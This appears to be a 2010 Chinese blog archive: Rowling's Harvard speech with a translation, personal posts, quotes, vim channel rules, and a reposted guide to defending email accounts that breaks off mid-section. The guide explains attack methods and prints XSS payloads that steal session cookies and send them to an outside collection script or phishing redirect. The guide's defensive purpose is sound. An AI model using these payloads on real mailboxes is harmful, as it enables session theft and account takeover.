Of course, this is a power, like my brand of fictional magic, that is morally neutral. One might use such an ability to manipulate, or control, just as much as to understand or sympathise.

当然,这种能力,就像在我虚构的魔法世界里一样,在道德上是中立的。一个人可能会利用这种能力去操纵控制,也有人选择去了解同情。

And many prefer not to exercise their imaginations at all. They choose to remain comfortably within the bounds of their own experience, never troubling to wonder how it would feel to have been born other than they are. They can refuse to hear screams or to peer inside cages; they can close their minds and hearts to any suffering that does not touch them personally; they can refuse to know.

而很多人选择不去使用他们的想象力。他们选择留在自己舒适的世界里,从来不愿花力气去想想如果生在别处会怎样。他们可以拒绝去听别人的尖叫,看一眼囚禁的笼子;他们可以封闭自己的内心,只要痛苦不触及个人,他们可以拒绝去了解。

I might be tempted to envy people who can live that way, except that I do not think they have any fewer nightmares than I do. Choosing to live in narrow spaces can lead to a form of mental agoraphobia, and that brings its own terrors. I think the wilfully unimaginative see more monsters. They are often more afraid.

我可能会受到诱惑,去嫉妒那样生活的人。但我不认为他们做的噩梦会比我更少。选择生活在狭窄的空间,可以导致不敢面对开阔的视野,给自己带来恐惧感。我认为不愿展开想像的人会看到更多的怪兽,他们往往更感到更害怕。

What is more, those who choose not to empathise may enable real monsters. For without ever committing an act of outright evil ourselves, we collude with it, through our own apathy.

更甚的是,那些选择不去同情的人,可能会激活真正的怪兽。因为尽管自己没有犯下罪恶,我们却通过冷漠与之勾结。

One of the many things I learned at the end of that Classics corridor down which I ventured at the age of 18, in search of something I could not then define, was this, written by the Greek author Plutarch: What we achieve inwardly will change outer reality.

我18岁开始从古典文学中汲取许多知识,其中之一当时并不完全理解,那就是希腊作家普鲁塔克所说:我们内心获得的,将改变外在的现实。

That is an astonishing statement and yet proven a thousand times every day of our lives. It expresses, in part, our inescapable connection with the outside world, the fact that we touch other people's lives simply by existing.

那是一个惊人的论断,在我们生活的每一天里被无数次证实。它指明我们与外部世界有无法脱离的联系,我们以自身的存在接触着他人的生命。

But how much more are you, Harvard graduates of 2008, likely to touch other people's lives? Your intelligence, your capacity for hard work, the education you have earned and received, give you unique status, and unique responsibilities. Even your nationality sets you apart. The great majority of you belong to the world's only remaining superpower. The way you vote, the way you live, the way you protest, the pressure you bring to bear on your government, has an impact way beyond your borders. That is your privilege, and your burden.

但是,哈佛大学的2008届毕业生们,你们多少人有可能去触及他人的生命?你们的智慧,你们努力工作的能力,以及你们所受到的教育,给予你们独特的地位和责任。甚至你们的国籍也让你们与众不同,你们绝大部份人属于这个世界上唯一的超级大国。你们表决的方式,你们生活的方式,你们抗议的方式,你们给政府带来的压力,具有超乎寻常的影响力。这是你们的特权,也是你们的责任。

If you choose to use your status and influence to raise your voice on behalf of those who have no voice; if you choose to identify not only with the powerful, but with the powerless; if you retain the ability to imagine yourself into the lives of those who do not have your advantages, then it will not only be your proud families who celebrate your existence, but thousands and millions of people whose reality you have helped transform for the better. We do not need magic to change the world, we carry all the power we need inside ourselves already: we have the power to imagine better.

如果你选择利用自己的地位和影响,去为那些没有发言权的人发出声音;如果你选择不仅与强者为伍,还会同情帮扶弱者;如果你会设身处地为不如你的人着想,那么你的存在,将不仅是你家人的骄傲,更是无数因为你的帮助而改变命运的成千上万人的骄傲。我们不需要改变世界的魔法,我们自己的内心就有这种力量:那就是我们一直在梦想,让这个世界变得更美好。

I am nearly finished. I have one last hope for you, which is something that I already had at 21. The friends with whom I sat on graduation day have been my friends for life. They are my children's godparents, the people to whom I've been able to turn in times of trouble, friends who have been kind enough not to sue me when I've used their names for Death Eaters. At our graduation we were bound by enormous affection, by our shared experience of a time that could never come again, and, of course, by the knowledge that we held certain photographic evidence that would be exceptionally valuable if any of us ran for Prime Minister.

我的演讲要接近尾声了。对你们,我有最后一个希望,也是我21岁时就有的。毕业那天坐在我身边的朋友现在是我终身的挚交,他们是我孩子的教父母,是在我遇到麻烦时愿意伸出援手,在我用他们的名字给哈利波特中的“食死徒”起名而不会起诉我的朋友。我们在毕业典礼时坐在了一起,因为我们关系亲密,拥有共同的永远无法再来的经历,当然,也因为假想要是我们中的任何人竞选首相,那照片将是极为宝贵的关系证明。

So today, I can wish you nothing better than similar friendships. And tomorrow, I hope that even if you remember not a single word of mine, you remember those of Seneca, another of those old Romans I met when I fled down the Classics corridor, in retreat from career ladders, in search of ancient wisdom:

所以今天我可以给你们的,没有比拥有知己更好的祝福了。明天,我希望即使你们不记得我说的任何一个字,你们还能记得哲学家塞内加的一句至理明言。我当年没有顺着事业的阶梯向上攀爬,转而与他在古典文学的殿堂相遇,他的古老智慧给了我人生的启迪:

As is a tale, so is life: not how long it is, but how good it is, is what matters.

生活就像故事一样:不在乎长短,而在于质量,这才是最重要的。

I wish you all very good lives.

我祝愿你们都有美好的生活。

Thank you very much.

非常感谢大家

2010年8月23日

改名及逆我者5毛

没读者,有什么好看的。那也改名了,原来的太长...
改名龙骨,一味中药,《本草》里跑过龙套,其实就是甲骨磨碎了,我对其功效十分怀疑。其实中医就是扯,连点穴都没人会,还针灸呢
英文名Dragon's Bone,更有意思(Hacker小小的双关一下)让大家想起了那最贵的冰龙,当然,和广东电视总局都过不去的山口山没5毛钱关系,说到5毛,真有意思,那真是须我者有思想,逆我者一律SB5毛

2010年8月20日

你丫就是个SB

被北京人骂不是第一次了, 害羞中...
真害怕,不是被爱国,就是被说反人权什么的,今天被说成爱面子?am I?
卖国贼,狗腿子,也叫汉奸总是能为自己的没骨气想出无数个说法:是不是中国人?!面子和生命哪个重要?
动动脑子好不好!别被真正的坏人利用了!看事看的长远一点!
你珍惜生命、崇尚人权,天灾人祸怎么不见你献爱心?冤假错案怎么不见你游行示威?中华上下5K年的历史,4999年的封建主义真是有意思,动不动就整整谁,不整不舒服,近十几年能上网了,原来整人都没机会的人,也上网喷喷这个点吧点吧那个,买个镜面屏吧,没事关机照照自己,别做别人炮灰,有机会做做别人的药引子。另外喜欢叫别人士兵也不要把北京言代出来,丫多给北京丢脸,另另自己的立场什么的别实名,实名什么的也要起个大众点的别叫什么吴畏甫之类的,看这名字不逮你都对不起国家。

2010年8月18日

Motto is not MOTO

The last good thing written in C was Franz Schubert's Symphony Number 9. — Erwin Dieterich

2010年8月15日

航天用铅笔,冷水煮青蛙

素质教育害死人啊,冷水煮青蛙前几天在美剧里听到了,对于真假已经失去好奇心了
反到是对另一个伪命题感到后背一阵冷,希望各位语文老师不要看垃圾看者老年文摘什么的了,就算读了也不要在课堂里用了,同学们对鲁迅大叔在写文章第49段倒数第18句话时,心里到底在想些什么有着害不死猫般的好奇心。还有就是多讲讲一只狐狸是怎么学会说文言文,又怎么伯乐般的相中小烛烛的...
好吧,俄罗斯用一根铅笔头解决了美帝花了×××××万刀才解决的太空书写问题,主要是因为Russion什么都大,不光肠子粗,容易把太空站马桶堵住,更重要的是腓小球也大,对吸入的悬浮铅笔灰根本无任何不良反应,由于铅笔灰的润滑作用,排出时还能顺便疏通马桶。

2010年8月11日

Motto is not MOTO

我向来是不惮以最大的恶意来揣测中国人
鲁迅

2010年7月20日

Motto is not MOTO

我们这一代大学生,白天废寝忘食地看电影打游戏睡觉泡妞,只能利用晚上的时间看书写作业,吸收知识。然而我们一翻开书本,学校就要断电

Motto is not MOTO

你虚度的今天,正是昨天死去的人无限向往的明天

2010年7月11日

Motto is not MOTO

其实人生追求的不是结果,全世界人人的结果都是一样的,伟大一点的最多也就是今后挂在墙上。人生重 要的是过程,要享受人生的每个瞬间,热爱现在,享受现在。  ――xyzlove: 糖骏

Motto is not MOTO

看到自己的同学或者其他熟人干得风生水起,就有些心不定了。就像长跑比赛,一开始大家都疯狂跑出去就你一个人慢吞吞的,就算你不想拿名次心里也会觉得别扭。但如果总是被外界环境或者别人的意思所左右的话,你会疲于奔命的。如果你想好了你想要的,就要心定,安心做好自己身边的事情。你就是每天打牌,只要能 打成个高手,未必不能在这个社会安身立命,做什么并没有太大关系,关键是做好什么

2010年7月6日

Motto is not MOTO

常言说,不管真相如何,人们只会看到他们想看的。有些人或许会退一步发现,他们一直以来看到的画面都是一样的;有的人则会发现,他们的谎言几乎害了自己;有人或许会看到原本一直都在身边的;而另外一些人却仓皇的逃离现场,这样就不会看到自己真实的模样;而对我来说,我现在看得一清二楚...
X.O.X.O.《绯闻女友》

2010年7月1日

Motto is not MOTO

"相濡以沫,不如相忘于江湖" ――《庄子・大宗师》

2010年6月30日

Gossip is not bAgUa

Melinda是个工作狂,没事自己给自己加班。Bill和别的老板一样,本来没他什么事,下班了也不回家,耗到大家都耗不住回家的时候,他也不回家,丫住公司了...

Melinda长时间的自我加班,终于被Bill盯上了。在一天晚上,Melinda终于给自己下班之后,Bill悄悄的跟了出去...
Melinda,工作狂,走路都带风。Bill三周没洗澡,跑起来阻力太大,但爱情的力量,终于把Melinda堵在了停车场...
Bill猫车后面,气喘匀了,掏出来一小本,翻了几页,走向了Melinda...
照肩膀一拍,Melinda一转身刚想来一招狮吼功,一看是Bill。"呀,老板还没回呢?"...
Bill没答茬,问她:"同学,你下下下个星期六有空吗?"...
Melinda心如明镜――这是要潜规则我呀?!"下下下个星期六,好没诚意啊?"...
Bill很潇洒的把Calendar往裤兜里一揣,"那明天吧?"――成了!

当年郑老师把这事儿tangtangtang这么一说,我很感动。这个故事对社会主义精神文明建设有着重大的意义和深远的影响,对祖国的繁荣富强和中华民族的长治久兴有相当大的教育意义...

2010年6月7日

Motto is not MOTO

一个人如果认为自己在一生中能干一番不同寻常的大事,就比没有远大理想的可怜虫有着更多的成功机会
――伯纳德・马拉默德

2010年6月3日

Motto is not MOTO

Something is wrong, 但很多人对此视而不见

2010年5月24日

Motto is not MOTO

爱国主义是无赖最后的避难所
――马克.吐温

2010年5月23日

Motto is not MOTO

The human brain is an amazing computer. Its raw clock speed is 20 billion calculations per seconds. Its storage is functionally infinite. But it's flawed. 

-how is that?

There's no where to download it when you die.


——终结者外传s2e21

2010年5月15日

10 Reasons You Should Write Something Each Day[ZZ]

The written word is a part of every day life. At its most basic, writing is a way of communicating. This is the one inalienable characteristic of writing itself, whether you're communicating with a colleague or friend or you're actually communicating with yourself - though a shopping list, for instance.
Aside from the fact that writing is an inescapable part of every day life, there are many good reasons you should make a good session of writing part of your daily routine, even if it's just a few hundred words. You don't have to be a pro to reap the benefits of creating the written word.

1. Remove stress from mind, place on paper

Writing can be therapeutic. It can be a way to vent all the pent-up frustrations burdening your mind into a far less volatile form, paper (or screen). You can address your anger, fear, worry and stress without bludgeoning the person who embodies those emotions for you with a paperweight.

Writing can serve as a form of cathartic stress relief where you finally get to say what you can't say out loud, in real life. Just don't let your vented feelings get into the wrong hands, or you may end up paying some pretty hefty blackmail cash.

2. Sweep Your Mind

A daily writing habit gives you regular time to sweep your mind for forgotten tasks and ideas that have been fermenting in the back of your head without your knowledge. It allows you to take the unordered thoughts floating around your head like lost puppies in zero gravity, and turn them into ordered plans and actions.

This is the fundamental principle that the mind sweep and weekly review are based on: getting everything you can think of out of your head, and into a written format. This simple process can save your life when things are getting overwhelming and complicated.

3. Keep Your Writing Skills Sharp

Write every day to keep your skill with the written word sharp. Like any skill, the ability to communicate clearly, concisely and aesthetically degrades without practice. As a result, many people who don't write regularly can freeze up, lost for words, on something so simple as an email to a friend.

Writing every day, even in a stream-of-consciousness, unedited format will maintain and gradually improve your writing skills, and since dealing with the written word is a fundamental part of daily modern life, there's nothing bad about that.

4. Make Some Pocket Money

If you're not a professional writer, pocket money is probably all you'll ever want to earn from your words. But if you've got a knack for it and just had a great dinner at a new restaurant and written about it for your daily pages, then isn't it better to have a shot at getting that review published instead of letting the piece do absolutely nothing?

These days, it's easy to submit to many publications without spending considerable time and money doing so. While you're unlikely to get too many bites without a good track record as a writer, it's certainly easy enough to be worth the effort, and your wallet will be pleased.

5. Turn the Noise Off

Get away from the constant low-quality input and output systems of day-to-day life, such as meaningless small-talk and weather conversations, text messaging, Twitter, checking the mailbox, and most email and many websites. You receive and create barrages of useless distractions that don't help you or the people you know; sitting down to write lets you get away from it all.

It's important to keep the noise to a minimum so you can focus on creating and receiving strong material, things that are really worth reading and writing.

6. Enhance Your Communication Skills

Use daily writing to enhance your communication skills. In this culture, communication is so often hampered because we don't know how to express ourselves, whether it be verbal or written. Writing regularly can hone the skill of self-expression, something that is useful in written communications such as email, and that can translate into improved verbal communication.

If you have trouble communicating what you want or asking tough questions, regular writing will give you a mind for structuring words quickly to achieve the desired affect in a diplomatic way.

7. Know What You Want

Part of the reason so many people do not get what they want in life is because they do not know what they want from it. Certainly not the main reason that people don't get what they want, but in so many cases it is the obstacle. How can you get what you want or achieve your dreams if you're not 100% clear on what they are?

Writing each day gives you time to think carefully and reflect on what you want to achieve the most, and develop a clearer, achievable image and plan for that result.

8. Develop Your Analytical Skills

Writing regularly develops your analytical and rational skills. Working through your problems with a piece of paper encourages you to think things through clearly, in both linear (sequential) and non-linear (creative) ways. The best solutions come from a mix of both logical and creative thinking.

Many people tend to panic and react emotionally to their problems, but if you're used to solving them by processing each component of the problem in writing, you'll develop a better approach and skill set. You'll at least pause to think through the situation before hitting the panic button next time something comes up!

9. Get Away from Technology

In #5 we talked about turning the noise off for a while, which comes from all sorts of sources - not just tech-related sources. But another problem of ours is our dependence on technology, and it seems that everything that can be done on a computer, is done on a computer.

If you opt to use a pen and paper instead of a computer, you give yourself valuable time away from technology to gather your thoughts without constant, meaningless interruptions and distractions. But more importantly, you give yourself time with the tactile and real.

10. Meet Yourself All Over Again

In a fast-paced society it's easy to forget things like what you believe in and what you're doing this (whatever this may be) for. Letting words flow out of your brain unedited can introduce you to a part of yourself you'd been censoring from yourself to cope with everyday life. Why did you start down the path you're currently on? This is an important question whether you consider your current path to have begun on the weekend, or a decade ago.

Discontentment, disillusionment, and unhappiness often come from forgetting why we're doing something (or, on a different track, not having a good reason for living a certain way) and it is important to keep those simple reasons at the forefront of your mind or you run the risk of letting your life become a series of boring, menial actions.

It's not only important to remind yourself of your motives for your current actions; it's important to monitor your actions to see if they align with your life goals so that you can change them. Sometimes, the only way to keep such a close monitor on your actions and goals is to write about them every day.


转载自某小孩翻译

Motto is not MOTO

永远年轻,永远热泪盈眶――当你试图放弃一个你知道是正确的事情的时候看看

2010年5月5日

Motto is not MOTO

"Complicated programs are far easier to write than straightforward programs."
John Page in Programmers at Work

2010年4月30日

#VIM Rules

  • Don't ask to ask, just ask
  • Before you ask, :help it! (vim's help is GREAT)
  • No politics
  • Be decent and polite
  • Stay on topic (within reason)
  • Don't be a Vimpire (see FAQ for details)
  • We don't ban people often, but when we do, it is forever, so don't push on the OPs
  • No OS wars -- only editor wars allowed! (Vim runs on MS-Windows, Macintosh, Amiga, OS/2, VMS, QNX and other systems. And also on every Unix system)
  • Vim(Chat, IRC, etc) or Cream related questions? GO AWAY! Seriously, we have nothing to do with Cream or the VimIRC plugin, and discussion of such things will just make us grumpy.
  • Use vim.pastey.net for pastes, not the channel
  • Read the FAQ
  • Check the Wiki
traceback:
http://www.vi-improved.org

2010年4月29日

2010年4月28日

Motto is not MOTO

大家都有自己的理由。在对方自己说出理由前就知道对方会有什么样的理由,才能做出正确的行动
    —拍《我的奋斗》失败有感

2010年4月23日

防御邮箱间谍[ZZ]

如果说中国走在网络战争的前沿,你可能觉得胡扯。发动网络战争并不复杂,一般有三种类型:攻击基础设施、窃取机密数据、瘫痪网络服务。而本文,将重点谈及中国窃取机密数据的邮箱情报攻击,几乎从来没有哪个国家能像中国因维稳不惜任何代价而秘密地监听国内外的敏感人士。

对于电子邮箱攻击,你注意到国外媒体批露的中国攻击事件与日俱增,如本月9号,纽约时报记者声称他们的邮箱被攻击而Twitter上的敏感人士开始越来越多的抱怨。你可能会质疑,有何事实数据可证明他们的邮箱确被攻击?这是一个好问题,因为他们无法跟踪攻击来源与防御被攻击,那么,常见的攻击手法是怎样的?我们如何跟踪攻击来源?又如何防御邮箱间谍的攻击?
一、你是局外人?还是受害者?

1月,Google向中国提出没有审查机制的G.cn,并声称有人试图入侵中国维权人士的Gmail,14日,McAfee就IE 0day的分析,将此次大规模的窃取机密数据(知识产权)攻击称为极光行动。尽管Google事件余波已去,我想说的是:极光行动为什么没有攻击国内邮箱?――显然!国内的邮箱具有过滤审查机制,这可以解释你的邮箱为何会丢信,更重要的是,一纸红头文件可未经用户许可泄露邮件数据,若有不从,以涉黄之名拔网线威胁。

普通的用户会这样认为:我不是敏感人士,我不会遭到电邮攻击。这样的想法很美好,让我们谈谈"话语权"吧。在三皇五帝的古代,骂皇帝是要砍头,而40年代末的建国期,是红色的革命语,时间回溯现在的极权主义国家,一切已然不一样了,尽管今天的新闻媒体仍在中宣部的约束之下,但互联网是一次革命,这个开放的网络空间,人人都是媒体,可在Twitter报导新闻,可用Wordpress发出声音,意识形态的大军是无法击溃互联网。

你会不会遭到电邮攻击?与你是不是敏感人士无关,而是视乎你在网络空间的声音、行为,以及现实生活中身份有关系。也不能说所有的电邮攻击都与政府脱不了干系,更有那些充满好奇心、乐于恶作剧的骇客。
二、攻击手法
你的Yahoo邮箱没有点击任何链接,但攻击者无需密码便控制住你的邮箱,这是什么回事?你的Gmail密码相当复杂,但为何收到密码重置的邮件?你登陆网易邮箱,点开邮件即重定向登陆入口,但网址却是真实的,这是为何?最后,来自国外越来越多的电邮失窃的新闻越来越多,你仍质疑中国没有能力侵入他国政要邮箱账户?

1、XSS钓鱼

这种攻击仍是目前最行之有效的方法,除了Gmail目前不存在XSS漏洞外,其它的Yahoo、Hotmail、网易、腾讯、搜狐、新浪等都存在XSS漏洞。XSS漏洞是啥?它的全称是Cross-site scripting,即跨站攻击,存在此漏洞的网站,能够被恶意攻击者劫持,它还派生了XSRF等等形式的利用,可谓Web木马。

08年,国内的邮箱都存在HTML标签跨站,漏洞都很弱智,比如<img src=javascript:alert()>插在邮件标题、邮件内容、邮件附件处即可弹出一个可爱的alert。接下来,进步一点了,还是以HTML标签为主,搞个数据包工具看哪个变量没过滤、以及编码转换。09年,又升级了,主要是国外的邮箱Gmail、Yahoo、Hotmail改以语法过滤,能利用的是CSS标签跨站,Gmail非常狠,除了早期存在Google Docs附件跨站攻击,基本把恶意代码过滤得惨不忍睹。Yahoo在09年亦漏洞不断,但很负责,隔三差五地不断升级,而Hotmail令人失望,居然1day过了一年都不补。

腾讯圈了一批牛人,忘记是Ph4nt0m还是80sec的,比其它的网易、搜狐、新浪的邮箱安全性好一点,搜狐与新浪最烂,透露一下,它们其中一个仍存在字符集的跨站漏洞。那么,XSS攻击到底是怎样的形式呢?用一个08年截获的新浪的HTML标签XSS漏洞说明,此漏洞是失效了,这年头基本没人直接公开0day,都养家糊口来着。

<INPUT TYPE="IMAGE" SRC="jav ascript:x7s='var Then=new Date();Then.setTime(Then.getTime()+7200*1000);if(document.cookie. indexOf(\'Cookie1=\') == -1){document.cookie=\'Cookie1=RAY;expires=\'+Then.toGMTString();window.parent.location.href=\'http://www.google.com/sina/index.php?url=\'+location.href+\'&c=\'+document.cookie.replace(/&/g,\'xxx\');}';eval(x7s)");">

此漏洞的形成在于新浪邮箱没有过滤空格,即过滤了javascript,但稍变形为jav ascript,便使得其后的恶意代码得以执行。这段代码有两个功能,获取Cookie并延长有效时间,并用父窗口windows.parent.location重定向至钓鱼网站。完整的攻击流程是,将上述XSS代码插入至邮件内容,以HTML模式发送邮件至受害者邮箱,受害者点开邮件时,会迅速转向sina钓鱼网站,而转向过程中,因采用parent,转向时,网址不会有变化,即不会显示钓鱼网址,而受害者在钓鱼网站输入密码提交之,钓鱼网站截取密码再转回真实的邮箱,由于控制了Cookie,受害者因怀疑会再次点开那封攻击邮件,但并不会再次跳转,这令受害者产生一种错觉,它以为邮箱仍是安全的。
2、窃取Cookie

你可以理解为窃取会话。你有过很多这样的经历,使用账户登陆某个网站,如Youku.com,关闭浏览器,再次打开youku.com,则不需要输入密码,这便是Cookie的作用。为什么会有Cookie呢?由于Http是无状态协议,为了在各个会话传递信息,因而需要Cookie或Session来标记访客者的状态,这里的Session是浏览器的Cookie里带了一个Token来标记,而服务器取得Token检查合性后便把服务器上存储的对应状态和浏览器绑定。总的意思就是:我只要窃取你的Cookie并保持了Session不过期,便可无须密码访问你的电子邮箱内容。

如果你要查看自己的Cookie,给Firefox装个HttpFox扩展即可,如下图。



窃取Cookie很简单,可将上面的Javascript稍加改装即可:<INPUT TYPE="IMAGE" SRC="jav ascript:document.location='http://www.google.com/cookie/stealer.php?cookie='+document.cookie;">,然后在stealer.php写个保存接收的Cookie记录的代码即可,如果你想让Session不过期,自己写个工具搞惦,每隔30秒请求一次目的页面。09年,Yahoo就被一帮人折腾了很多邮箱,不知道修复了没有,国内几个邮箱也能被利用。
3、恶意软件

即木马、病毒、后门、间谍、键盘记录器……这些软件,最常见算是doc、pdf病毒了,好好的一个文档,挟带了木马,双击一打开,你就完了。最容易受到攻击的是西藏人士、维权人士,然而,我不得不承认,这是一种非常阴险的手段,因为这毫无任何技术含量。这个攻击流程是,xxx部门获取经费收购或买断木马软件、捆绑软件,一般外包给中国公司,然后这些公司的报价奇高,各省xxx部门买了后,按照说明书配置木马上线,再用捆绑工具与可信的文件捆在一起,再用Google挑目标,比如找到abc.com网站,将该网站电子邮箱地址都整理出来,再用邮箱批量群发器不管三七十一把这些病毒通通发过去,再泡上一杯茶盯着木马软件等着目标上线。

这种没有采用鱼叉式攻击所导致的后果是,买的木马软件、捆绑软件很快就无效了,因为一顿乱发,被安全软件给盯上或用户举报查杀掉了,这个例证就是最近的IE 0day及PDF 0day很快曝光,估计这前后都不到一年。而在前文,尽管中国没有比美国更好的网络战争实力,但是不差钱,他们不需要关注技术细节,只需要知道谁有0day,谁会挖掘0day,然后招安,买断一堆的0day,比如Discuz!、Wordpress、Firefox漏洞,照着教程去攻击。

那么如何防御这种恶意附件的攻击?当你再次在邮箱看见一堆的PDF、DOC、HTM压缩包时,简单的方法是,下载后不要打开,直接上传至Google Docs,要是显示一片空白或无关的内容,不管三七二十一提交到VirusTotal网站上。
4、社会工程学

这个方法很简单,先跟你套近乎下,然后东问问西问问获得碎片信息,基本就是掘地三层把目标的信息全收集起来,完了后,评估一下你的弱点在哪里,再从弱点入手,这种攻击通常是雇佣了职业黑客来完成,因为过程比较复杂。举例子,攻击者有目标的邮箱,然后放到Google搜索,看目标注册了哪些网站,把这些网站整理,逐个把这些网站入侵了并下载数据库,从中找到目标的网站密码,再用网站密码试邮箱密码,要是目标只用一个密码,那么他的邮箱就完了。

总体上来说,你在网络上的信息越少,便能够降低被入侵的威胁。但事实并不情人愿,Web2.0的社交网络流行,你注册了Twitter,天天叽叽喳喳,一不小心把家世、住址、约会全都泄露了,你注册了豆瓣,天天左看右瞧还加了攻击者为好友,结果,他就知道你上网习惯与兴趣爱好,然后再用策略和你聊的特别欢,某一天,他跟你讲:我找到一个非常牛B的电影了,你在Verycd下载瞧瞧。你一看,还真不错,真是你喜欢的。然后他又讲,能不能帮我登陆下Gmail下载个文件看看是啥内容?我网速比较慢,我发你登陆密码。你听了,这小忙是得帮的,马上速度登陆对方的Gmail下载了压缩包,结果打开压缩包的文档发现啥都没,到了第二天,你就很神奇地发现,哦哦~我的豆瓣、twitter全都登陆不了……

社会工程学攻击永不过时,因为人人都有被利用的心理弱点,不管是好心、私心、同情心啥的,都无法避免这种攻击。不过,这项攻击最大的缺点是,很耗时间,短则几天,长则几月。这项攻击在敏感人士的社区很常见,如Forum、Google Groups等,那些攻击者最常见的手法盗用可信账户发送病毒附件。
5、MIT中间人攻击

以ARP攻击为例,A访问mail.sina.com,但攻击者B通过ARP劫持,可以使得你访问虚假的新浪钓鱼网站,而非真实的新浪。这种劫持通信的手法可适合不同的场合,如劫持ADSL线路,这需要红头文件请本地电信局协助的,然后修改你的数据包返回假的数据包,举例而言,你想从QQ官方下载QQ程序,攻击者修改数据包把QQ程序的下载地址改成木马地址,结果你就可以下载个木马回去了。如果你的通信是明文,没有采用SSL,攻击者可以直接看到你密码。不过,我不太肯定,Gmail虽然采用了SSL,但用户名与密码却在网址中出现,有公司宣称能解开SSL,我现在仍然是半信半疑。

另外一种是hosts文件劫持,典型的例子是,某个家伙在Twitter.com说:无法访问youtube.com?Picasaweb?很简单,修改hosts文件即可马上访问。你一听,哇,这么好,赶紧用记事本打开hosts文件,把对方提供的映射地址粘贴进去,再重新打开youtube.com,哇,真神奇,打开了~~聪明的看客接下来知道会发生啥了。

对于ADSL线路劫持的手法,这种攻击也是行之有效的。另外,我们也得对某些代理软件保持警惕,天知道那些免费的socks5、vpn会干出令人震惊的事吗?
6、暴力破解

有三种,web穷举、smtp穷举、云穷举。在多数的情况下,前两种效率低下,且限制诸多,以Web Gmail为例,它有CAPTCHA限制、重复次数的限制,不过,我倒是碰到过一个Python版的穷举工具,但速度很慢。至于smtp,如果服务器做了限制的话,比如现在网易对溯雪暴力破解工具是免疫的。云穷举,就我目前所知,我想这是最有效率的破解方法,已有安全专家Electric Alchemy利用亚马逊云服务Amazon Ec2运行Elcomsoft工具暴力破解PGP ZIP档案的例子。凭借云计算的超级计算机,以及一个分布式邮箱密码破解工具,暴力破解的速度将更快速。不过,这并不切实际,因为破解的成本太高了,需要很多米米。

暴力破解,这个古老的方法在目前只能针对极少的主流电子邮箱,尽管如此,但它对那些自架设的电子邮局仍然有效,因为它们没有CAPTCHA、重复尝试次数、服务器资源等限制。总的来说,暴力破解对本地的加密文件破解比较有效率,但对网络邮箱账户的破解尚不能达到30%的成功率。
7、浏览器恶意脚本
上过流氓软件的当吧?一旦打开IE,主页被锁定只能访问某个流氓的网站,嗯,没错,浏览器的脚本也能起到钓鱼攻击之用。比如IE的BHO(Browser Helper Object)劫持、Chrome、Firefox扩展钓鱼。就目前而言Chrome、Firefox的扩展钓鱼并不怎么流行,这比较麻烦,攻击者需写一个看似合法可信的扩展,并植入后门,还需要方法让目标安装,这费力不讨好,但BHO容易多了,可以隐秘地安装而不会有提示。要防御这种攻击很简单,检视你的Firefox、chrome是否有陌生的扩展、插件,不要在第三方的网站安装扩展。
8、内嵌登陆表单

这是社会工程学攻击的一种变形。当你打开某邮件,其内容部分嵌入了登陆表单,具体就是,你会看到一个要求你输入用户名、密码的登陆框。恰好RFA的新闻《维权人士邮箱和推特遭窃取、攻击》公布一张攻击实例图片,见下图。



如果你的Gmail收到上述的威胁恫吓邮件,不要担心,请在邮件的右侧点击下拉菜单,选择"这是网络欺诈",而Gmail将会稍后封锁此攻击者。普通的用户不要误以为这是Gmail的安全漏洞,最简单的方法,选中邮件内容查看源代码,你可以发现并不存在恶意的Javascript脚本,而是HTML标签,你在源代码找到Action位置,将其后的钓鱼网站向Google举报即可。

其它的Gmail用户不需要担心,这种内嵌表单钓鱼方式是通杀Gmail、Hotmail、Yahoo、网易、腾讯、搜狐的邮箱,由于不存在恶意的Javascript,可称之良性HTML标签利用。看到这类威胁恫吓邮件,一是举报钓鱼邮件、钓鱼网址,二是删除该邮件,三是提醒你的朋友警惕。
三、防御
安全不能100%保证,只能最大限度地降低威胁,更来源于用户的安全意识。

1、防御XSS
如果你使用的Firefox浏览器,可安装NoScript扩展来屏蔽恶意的Javascript脚本。但你希望一劳永逸的话,非常简单,注册一个私人Google Groups,并设置Gmail的过滤器,所有邮件一律转发至Google Groups。但如果也不喜欢注册Google Groups,那么你可以再注册Yahoo、Hotmail邮箱,使用Yahoo收取Gmail,再用Hotmail收取Yahoo,在这过程中,特定的XSS代码会分崩离析。
2、防御恶意软件
.txt文本格式永远是无害的(如果你的系统没有被映像劫持)。尽管如此,但我们仍难以避免地与.DOC、.PDF格式打交道,如果你使用的Gmail,那么一律在线查看。而另一种可能是,你会收到RAR、7z等压缩格式,而邮件内容也颇具引诱性,那么你下载之后,请右键解压至单独的文件夹,而你不认识发件人并有疑心时,永不要马上打开,请上传至Google Docs在线查看,或者提交到VirusTotal.com在线查毒。最好也在邮箱的签名行增加一行文字:我只接受.txt格式附件!其它格式附件的邮件一律删除。
3、防御身份盗窃
建议启用数字签名。它可以协助你确认签名者的身份及数据完整性,甚至你发出的邮件,对方能够获得确认,从而避免被第三方攻击者的滥用。与此同时,双方还可以明文约定,即在准确的时间范围内容发送邮件,如一般为每个星期日发送邮件,而未在此时间范围内的邮件而作废。
4、防御数据失窃
正如前文所提,你应该使用TrueCrypt加密附件。这款经典的加密工具备受赞誉,你应该保持经常使用的习惯。
5、防御身份泄密
你的密码提示问题应该是模棱两可,比如"天下有多少颗月亮?"。而在个人注册信息处,不要留下你真实家庭地址、身份证号、电话号码、出生日期等信息,当你的邮箱被攻破,这些信息能够证明你的身份。不要将这些信息设置为公开,而是保密,并阻止在Google Profiles可见。
6、使用Chrome浏览器
在TippingPoint第三届Pwn2Own黑客大会,Apple's Safari, Mozilla's Firefox和Microsoft's Internet Explorer 8全部阵亡,你应该接纳黑客们的建议,使用Chrome浏览器,我不能保证Chrome会一直安全的,因为安全是个伪命题,就目前而言,Chrome是个不错的选择。当然,下一届的Pwn2Own王者可能会是Firefox,不管如何,IE不是个好选择,因为中国的黑客正在折腾它。
7、使用Gmail
在我长达半年的测试,我仍然无法拿下Gmail,它太安全了,这使我郁火,当然,我也不能保证它也是最安全的,至少目前我没有听到Gmail存在安全漏洞的消息。
8、每月密码老化
微软声称,定期改密码没有用,只会浪费时间与金钱。我反对这种说法,当然,他们的调查结果是针对美国企业。我的建议是,密码请设置为12位,每月更改电子邮箱密码。间谍与黑客不一样,间谍才不会愚蠢地删除你的邮件并更改你的密码,那不可能,他们会暗中的监视你的邮件来往情况,伺机获得可起诉的把柄。
四、反跟踪
在你尚未成为他人的鱼之前,先搞翻这位渔人。

1、阻止邮件中的媒体

